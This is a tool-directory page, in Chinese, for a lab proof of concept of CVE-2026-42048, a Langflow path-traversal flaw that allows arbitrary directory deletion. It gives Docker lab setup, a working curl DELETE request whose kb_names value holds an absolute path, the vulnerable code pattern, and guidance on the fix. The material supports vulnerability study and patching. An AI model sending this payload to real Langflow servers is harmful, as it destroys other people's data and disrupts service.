Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42048 — Langflow 任意目录删除 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-42048
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow 任意目录删除

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42048

CVE-2026-42048 Langflow 路径遍历 / 任意目录删除 PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


描述

CVE-2026-42048:Langflow 任意目录删除漏洞

描述:Langflow 1.9.0 之前的版本存在一个路径遍历漏洞,允许已认证的攻击者通过批量删除端点 DELETE /api/v1/knowledge_bases 删除预期知识库存储路径之外的目录。该问题的成因是:用户可控的 kb_names 值被用于构造文件系统路径,而缺乏适当的规范化和包含性验证。


前置条件

成功利用需要满足以下条件:

  • 目标正在运行存在漏洞的 Langflow 版本(1.9.0 之前)。
  • 攻击者可以访问知识库批量删除端点:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • 攻击者已通过认证,或能够以其他方式发起已认证的 API 请求。公开公告将该问题描述为需要低权限(PR:L)。
  • 攻击者可以控制 kb_names 请求体参数。
  • Langflow 进程拥有删除目标目录的文件系统权限。

该漏洞无法绕过操作系统文件权限,它滥用了 Langflow 自身的路径处理和删除逻辑。


实验环境搭建

使用 Docker 构建并运行漏洞环境:

构建镜像

root@kitploit:~
docker build -t cve-2026-42048 .

运行容器

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

检查状态

root@kitploit:~
curl http://127.0.0.1:9101/status

该实验会在以下位置创建一个一次性目标目录:

root@kitploit:~
/target/CVE-2026-42048

/status 端点会报告该目录是否仍然存在。


使用方法

使用 PoC 进行利用

root@kitploit:~
python3 poc.py

交互式输入:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

使用 curl 进行利用

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

验证结果

root@kitploit:~
curl http://127.0.0.1:9101/status

如果利用成功,target_exists 会从 true 变为 false。


分析

存在漏洞的端点

root@kitploit:~
DELETE /api/v1/knowledge_bases

该漏洞存在于 Langflow 的知识库批量删除 API 中。受影响的处理器通过 kb_names 参数接收知识库名称列表,并使用每个值构建用于删除的文件系统路径。

在存在漏洞的版本中,批量删除逻辑会手动构造路径,而不是使用其他知识库端点所采用的更安全的路径解析辅助函数。该漏洞模式的简化表示如下:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

删除辅助函数最终会通过递归删除逻辑移除目标目录。由于 kb_name 由攻击者控制,../ 等路径遍历序列可以逃逸当前用户的知识库目录。在 Python 的 pathlib 中,右侧提供的绝对路径也可以覆盖先前的路径组件:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

因此,只要 Langflow 进程拥有删除该目录的权限,精心构造的 kb_names 值就可以导致 Langflow 删除预期知识库存储根目录之外的目录。

这是一个 CWE-22:对受限目录的路径名限制不当 问题。

技术根因

根本原因在于:递归删除之前,对用户控制的路径组件缺乏充分的规范化和边界验证。存在漏洞的批量删除端点只检查最终路径是否存在,却没有确保解析后的路径仍然处于已认证用户的知识库目录之内。

一个稳健的修复方案必须:

  • 使用 Path.resolve() 规范化最终路径
  • 确保解析后的路径仍位于已认证用户的知识库目录内
  • 在删除之前拒绝所有逃逸出该目录的路径

Langflow 已在 1.9.0 中修复此问题。

为何重要

任意目录删除会直接影响完整性和可用性。根据部署权限和文件系统布局的不同,攻击者可能能够:

  • 删除其他用户的知识库数据
  • 移除应用程序拥有的目录
  • 破坏 Langflow 的运行时状态
  • 导致数据丢失或服务中断

该问题不需要任意代码执行即可造成危害。以应用程序权限进行递归删除,就足以破坏数据和可用性。


场景

root@kitploit:~
+-------------------------------------------+
|              Authenticated User           |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | Unsafe path construction
                      v
+-------------------------------------------+
|   Path Escapes Intended KB User Directory |
+-------------------------------------------+
                      |
                      | Recursive directory deletion
                      v
+-------------------------------------------+
|        Arbitrary Directory Deletion       |
+-------------------------------------------+

实验说明

本实验在端口 9101 上暴露了一个小型挑战代理。该代理隐藏了完整的 Langflow UI 和直接的后端端口,仅转发本练习所需的最少漏洞 API 路径。

本实验的目标目录为:

root@kitploit:~
/target/CVE-2026-42048

可以使用 /status 端点来确认目标目录已被删除。


清理

root@kitploit:~
docker stop cve-2026-42048

免责声明

本仓库并非旨在帮助对 Langflow 实例进行未授权利用。本项目旨在帮助安全研究人员、防御者和开发者理解该漏洞、在受控环境中验证暴露面,并应用有效的缓解措施。


参考

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

下载工具